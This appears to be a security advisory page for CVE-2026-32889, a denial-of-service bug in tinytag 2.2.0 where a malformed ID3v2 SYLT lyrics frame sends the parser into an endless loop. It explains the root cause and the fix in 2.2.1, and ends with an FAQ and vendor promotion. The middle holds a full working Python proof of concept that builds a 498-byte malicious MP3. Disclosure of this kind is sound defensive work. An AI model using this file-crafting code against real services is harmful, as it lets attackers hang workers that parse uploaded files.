CVE-2026-32889

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

• TinyTag.get in tinytag/tinytag.py#L144-L154
• _load in tinytag/tinytag.py#L259-L266
• _parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
• _parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
• _parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

• MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
• Python 3.14.3
• Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
• Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

CVE-2026-32889 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.2.1); upgrading removes the vulnerable code path.

Kodem intelligence

Fixed in the following commits:

• https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
• https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

1. What is CVE-2026-32889? CVE-2026-32889 is a medium-severity security vulnerability in tinytag (pip), affecting versions <= 2.2.0. It is fixed in 2.2.1.
2. How severe is CVE-2026-32889? CVE-2026-32889 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of tinytag are affected by CVE-2026-32889? tinytag (pip) versions <= 2.2.0 is affected.
4. Is there a fix for CVE-2026-32889? Yes. CVE-2026-32889 is fixed in 2.2.1. Upgrade to this version or later.
5. Is CVE-2026-32889 exploitable, and should I be worried? Whether CVE-2026-32889 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-32889 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-32889? Upgrade tinytag to 2.2.1 or later.